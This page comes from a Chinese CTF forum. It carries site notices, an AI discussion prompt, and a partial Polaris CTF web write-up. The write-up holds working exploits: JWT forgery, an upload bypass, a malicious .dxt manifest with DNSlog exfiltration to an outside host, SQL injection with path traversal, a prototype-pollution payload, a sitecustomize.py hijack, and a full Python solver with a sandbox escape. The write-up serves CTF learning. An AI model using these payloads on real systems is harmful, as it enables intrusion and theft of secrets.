群组信息 私有

赛博潇湘官方账号

  • RE: 致歉(2026.3.31)

    经核查,靶场数据已全部丢失,无法找回。在此,我对服务器的所有用户表示抱歉,我们将经快完成修复工作,尽量在四月初恢复靶场的运作。

    发布在 通知
  • 致歉(2026.3.31)

    尊敬的赛博潇湘用户:
    您好!
    我们怀着深深的歉意向您告知,由于运维人员的操作失误,今日(2026年3月31日)17时01分,服务器CTF靶场关键文件被意外删除,导致CTF靶场暂时无法正常使用。目前技术团队已启动紧急抢修,但恢复时间仍存在不确定性,我们对此给您带来的不便致以最诚挚的歉意!
    一、事故说明
    经核查,本次故障系运维人员在执行日常维护任务时,因操作疏忽误删了CTF靶场部分核心文件。我们已第一时间暂停相关运维操作,并启动数据恢复流程。由于文件恢复涉及复杂的技术排查与数据校验,目前暂无法预估完全恢复的时间。
    二、紧急处理措施
    1. 全力恢复数据:我们正在全力尝试从备份系统及其他冗余存储中恢复被删除文件,同时排查是否存在其他潜在风险。
    2. 问题溯源与整改:我们将对事故原因进行深入复盘,杜绝类似事件再次发生。
    3. 实时同步进展:我们将通过官网公告、论坛等渠道,及时更新抢修进度与恢复时间,请您保持关注。
    我们深知此次事故对您的体验造成了严重影响,赛博潇湘始终将用户数据安全与体验放在首位。我们承诺将以最快速度完成抢修,并全力避免类似问题重现。若您在故障期间有任何疑问或需求,可通过以下方式联系我们:
    ● 论坛“问题反馈”专区
    再次为此次事故深表歉意!感谢您的包容与支持,我们定当以更严谨的态度与更稳定的服务回馈您的信任!
    赛博潇湘管理团队
    2026年3月31日

    发布在 通知
  • 第一届 Polaris CTF 招新赛 WP(部分)

    做完后的感觉,烦死了

    only real
    dirsearch扫描发现flag.php文件
    a09af8f6-6243-4a78-8959-eb2980fa08cd-image.png
    得到flag
    18587ff7-f61e-4b65-a733-9b0ec2f74c99-image.png
    only_real_revenge
    ed949094-fa18-4a9b-9954-08c1d7feb861-image.png
    查看源码后得到账号密码,登录后bp抓包
    38bf9c0d-e793-4dfc-98c4-9f3576fbca4e-image.png
    发现jwt_token,暴力破解并构造新的admin的jwt
    d91b254f-30f7-4ead-9dcc-799fa6edde40-image.png
    9bb30893-9e2e-4094-a3a5-30dcfce36abf-image.png

    修改后放行,成功解锁上传文件
    发现此处会对php eval flag等关键字过滤且前端验证文件类型采用<?=cat /f*?>和抓包改名的方式绕过
    访问上传的php文件,即可得到flag
    a6da60c7-4504-40ef-a105-72a974ac82ba-image.png
    注意:此处要将token改为修改后的

    DXT
    此题为mcp服务器上传.dxt文件进行rce
    查阅资料制作文件
    manifest.json
    内容如下
    {
    "dxt_version": "0.1",
    "name": "oob-exploit",
    "version": "1.0.0",
    "description": "OOB Exploit",
    "author": {
    "name": "Hacker",
    "email": "hacker@example.com"
    },
    "server": {
    "type": "stdio",
    "entry_point": "/bin/sh",
    "mcp_config": {
    "command": "/bin/sh",
    "args": [
    "-c",
    "此处输入要执行的命令"
    ]
    }
    }
    }
    将他zip压缩,因为.dxt文件的本质为zip,直接将后缀改成.dxt
    由于此处执行命令不会回显,于是用DNSlog回显的方法得到flag
    执行命令ping $(cat /flag).mcd2fp.dnslog.cn
    即可得到flag
    3553ecb7-2afa-4728-a2a3-11ecff729f3d-image.png

    Broken Trust
    f885a197-3efc-41d8-a17b-0d0793b2d942-image.png
    注册并登录
    登录后发现一个查找器
    007bb49a-5066-4765-8d98-58ac81e83f6e-image.png
    猜测的此处可以进行sql注入
    注入后发现admin的uid
    23e1673c-c04a-4cc3-8a60-6d352c507787-image.png
    d283541e-0807-41a2-962a-301a276d69fa-image.png
    登录后通过遍历目录拿到flag
    api/admin?action=backup&file=..//flag
    604b8244-5025-4b42-9f62-6081ea3b7acd-image.png

    ez_python
    这个python代码在 / 路由通过 merge 函数将 POST 的 JSON 递归合并到全局 instance 对象。利用此漏洞,发送 {"config": {"filename": "/flag"}} 即可将 instance.config.filename 改为 /flag,随后访问 /read 便读取并返回 flag。
    07ec53c1-f4e3-41de-8397-55bdc1a79c14-image.png

    醉里挑灯看剑

    /api/caps/sync 在插入用户提供的操作记录后,会自动追加一条 source 为 "server-tail" 的尾记录。由于记录按 source 字典序排序后插入,用户只需设置 source 比 "server-tail" 大的字符串(如 "z1"),就能让尾记录先被插入,而用户记录后插入成为最新记录。该记录的 role 和 lane 若被设为 null(通过 keepRole: false 和 keepLane: false),在查询时会被 COALESCE 默认值 'maintainer' 和 'release' 覆盖,从而获得高权限。获得高权限后,即可调用 /api/release/execute 执行表达式。黑名单通过小写字符串匹配过滤关键字,但可利用 Unicode 转义(如 \u0063onstructor)绕过检测。通过 tools.sha1.constructor 获取 Function 构造函数,进而执行任意代码,读取环境变量 RUNNER_KEY。此密钥用于生成 release 证明,结合之前获取的 challenge nonce 即可计算出有效 proof,最终在 /api/release/claim 中提交并拿到 flag。

    import requests
    import hashlib

    class CTFChallengeSolver:
    def init(self, base_url):
    self.base_url = base_url.rstrip("/")
    self.session = requests.Session()
    self.headers = {}
    self.token = ""
    self.sid = ""
    self.runner_key = ""
    self.nonce = ""

    def _request(self, method, endpoint, **kwargs):
        url = f"{self.base_url}{endpoint}"
        kwargs.setdefault('headers', {}).update(self.headers)
        
        try:
            response = self.session.request(method, url, **kwargs)
            response.raise_for_status()
            return response.json()
        except requests.exceptions.RequestException as e:
            print(f"请求失败 [{method} {endpoint}]: {e}")
            if 'response' in locals() and response.status_code == 401:
                print("检查 Token 是否过期或无效")
            exit(1)
    
    def get_guest_token(self):
        data = self._request('POST', '/api/auth/guest')
        self.token = data.get("token")
        self.sid = data.get("claims", {}).get("sid")
        
        if not self.token or not self.sid:
            print("无法从响应中提取 Token 或 SID")
            exit(1)
            
        self.headers["Authorization"] = f"Bearer {self.token}"
        print(f"Token: {self.token}")
        print(f"SID: {self.sid}")
    
    def sync_capabilities(self):
        payload = {
            "ops": [
                {"source": "z1", "note": "a", "keepRole": False, "keepLane": False},
                {"source": "z2", "note": "a", "keepRole": False, "keepLane": False}
            ]
        }
        result = self._request('POST', '/api/caps/sync', json=payload)
        print(f"Sync response: {result}")
    
    def get_runner_key(self):
        payload = {
            "expression": "ctx.tools.sha1['\\u0063onstructor']('return \\u0070rocess.env.RUNNER_KEY')()",
            "input": {}
        }
        data = self._request('POST', '/api/release/execute', json=payload)
        self.runner_key = data.get("result")
        
        if not self.runner_key:
            print("无法获取 RUNNER_KEY")
            exit(1)
            
        print(f"RUNNER_KEY: {self.runner_key}")
    
    def get_challenge_nonce(self):
        data = self._request('POST', '/api/release/challenge')
        self.nonce = data.get("nonce")
        
        if not self.nonce:
            print("无法获取 Nonce")
            exit(1)
            
        print(f"Nonce: {self.nonce}")
    
    def claim_flag(self):
        proof_str = f"{self.sid}:{self.nonce}:{self.runner_key}"
        proof = hashlib.sha1(proof_str.encode()).hexdigest()
        
        payload = {
            "nonce": self.nonce,
            "proof": proof
        }
        
        result = self._request('POST', '/api/release/claim', json=payload)
        flag = result.get("flag", "未找到 Flag 字段")
        print(f"Flag: {flag}")
    
    def run(self):
        self.get_guest_token()
        self.sync_capabilities()
        self.get_runner_key()
        self.get_challenge_nonce()
        self.claim_flag()
    

    if name == "main":
    BASE_URL = "http://80-9c2b8646-841e-4439-b861-358f760b18e0.challenge.ctfplus.cn/"
    solver = CTFChallengeSolver(BASE_URL)
    solver.run()

    0eb9fb88-8c06-4a81-9183-034799443b26-image.png

    AutoPypy
    Web 服务允许上传 Python 脚本并在沙箱中运行,但上传时未过滤文件名,可利用路径穿越将恶意脚本写入宿主机的 Python 库目录。利用 Python 自动加载 sitecustomize.py 的特性,当服务器执行任何脚本时,恶意代码会在沙箱启动前以宿主机权限运行,从而读取 flag。
    恶意代码:
    import os
    for path in ['/flag', '/home/ctf/flag', 'flag']:
    if os.path.exists(path):
    with open(path) as f:
    print(f.read())
    上传后保存/usr/local/lib/python3.10/site-packages/sitecustomize.py
    在此执行命令即可
    70ae5d8e-57d5-46f0-8b29-908bdc6ea4dc-image.png

    Not a Node

    边缘运行时的底层 C++ 绑定将文件读写接口暴露在 __runtime._internal.lib.symbols 中,但函数名被混淆(如 _0x72656164 对应 read)。常规字符串路径会被运行时自动添加工作目录前缀并补全 Null 字节,导致 ../flag 失效。通过 TextEncoder 将路径转为 Uint8Array 字节流直接调用底层函数,绕过了 JS 层的路径预处理,使回溯生效。同时,十六进制编码属性名规避了 WAF 对 globalThis 等关键词的拦截,最终成功读取根目录下的 Flag。
    恶意代码为:
    export default {
    async fetch(req) {
    // 获取运行时内部工具(使用十六进制混淆绕过检测)
    const R = __runtime;
    const tools = R["\x5f\x69\x6e\x74\x65\x72\x6e\x61\x6c"]["\x6c\x69\x62"]["\x73\x79\x6d\x62\x6f\x6c\x73"];
    const READ = "\x5f\x30\x78\x37\x32\x36\x35\x36\x31\x36\x34"; // "_0x72656164" 的十六进制表示

    // 定义动态文件读取函数(避免直接使用敏感词)
    const getF = (p) => {
      try {
        // 将路径转换为 Uint8Array 绕过路径检查
        const bytes = new TextEncoder().encode(p);
        return tools[READ](bytes);
      } catch (e) {
        return e.message;
      }
    };
    
    // 读取 flag 文件(使用相对路径绕过目录限制)
    const flag = getF("\x2e\x2e\x2f\x66\x6c\x61\x67"); // "../flag" 的十六进制表示
    return new Response(flag);
    

    }
    };
    bfecf876-69d7-498d-b2fd-88b516eea38b-image.png

    ezpollute
    通过 /api/config 接口的 merge 函数存在原型污染漏洞,攻击者可利用 constructor.prototypeObject.prototype 注入 NODE_OPTIONS="-r /flag"。访问 /api/status 时,子进程启动会继承污染后的环境变量,从而加载 /flag 模块并输出 flag,最终在响应中获取。此攻击结合了原型污染与 Node.js 环境变量注入,实现了远程代码执行。
    恶意脚本
    {
    "constructor": {
    "prototype": {
    "NODE_OPTIONS": "-r /flag"
    }
    }
    }
    ad8fc955-3b77-4aa6-a090-90b7fa247667-image.png

    发布在 Web
  • 月底闲谈(第一期)——你认为AI会取代CTFer吗

    各位师傅们,月底了,咱们来聊点轻松的(或者说,有点扎心的?)。
    最近AI的发展势头大家有目共睹,从自动生成代码到辅助漏洞挖掘,工具越来越“聪明”。那么,一个灵魂拷问来了:
    你认为AI会取代CTFer吗?
    是成为我们手中的“神兵利器”,还是未来赛场上真正的“对手”?
    欢迎各位畅所欲言,分享你的观点和脑洞!

    发布在 日常讨论区
  • 服务器更新日志(2026.3-a-1)

    亲爱的赛博潇湘用户:
    为了给您提供更稳定、更丰富的服务体验,我们已于2026年3月31日12:30完成服务器全系统升级维护。本次更新涵盖网站主页、论坛、CTF靶场及Wiki模块的功能优化与问题修复,具体更新内容如下:
    1.完善网站网页显示,增加403页面
    2.对网站已有漏洞进行修复
    温馨提示
    更新后建议清除浏览器缓存,以获得最佳浏览体验。
    CTF靶场题目数据已完整备份,用户刷题进度不受影响。
    若更新后遇到任何问题,欢迎通过论坛“意见反馈”板块或客服邮箱联系我们。
    感谢您一直以来对赛博潇湘的支持与理解!我们将持续迭代优化,为您提供更优质的服务。
    赛博潇湘管理团队
    2026年3月31日

    发布在 通知
  • 服务器停服维护通知(2026.3.20-a)

    尊敬的用户:
    您好!
    为了提升服务质量与系统稳定性,保障用户的良好体验,赛博潇湘服务器将进行计划性停服维护。在此期间,网站部分功能将暂时无法访问,敬请各位用户提前做好相关安排。具体维护信息如下:
    一、维护时间
    2026年3月30日(星期一)12:35起
    (预计维护时长:2小时,具体恢复时间以实际维护进度为准)
    二、维护范围
    1. 网站主页
    2. 论坛
    3. CTF靶场
    4. Wiki
    三、注意事项
    1. 维护期间,上述功能模块将无法正常访问或使用,请您提前保存重要数据,避免因停服造成不便。
    2. 维护完成后,服务器将恢复正常运行,建议您刷新页面或清除浏览器缓存后重新登录。
    3. 若维护提前完成或延迟结束,我们将第一时间通过官方渠道发布公告。
    四、感谢与联系
    感谢各位用户对赛博潇湘的支持与理解!
    给您带来的不便,我们深表歉意,敬请谅解!期待维护完成后,为您带来更优质、更稳定的服务体验。
    赛博潇湘管理团队
    2026年3月30日

    发布在 通知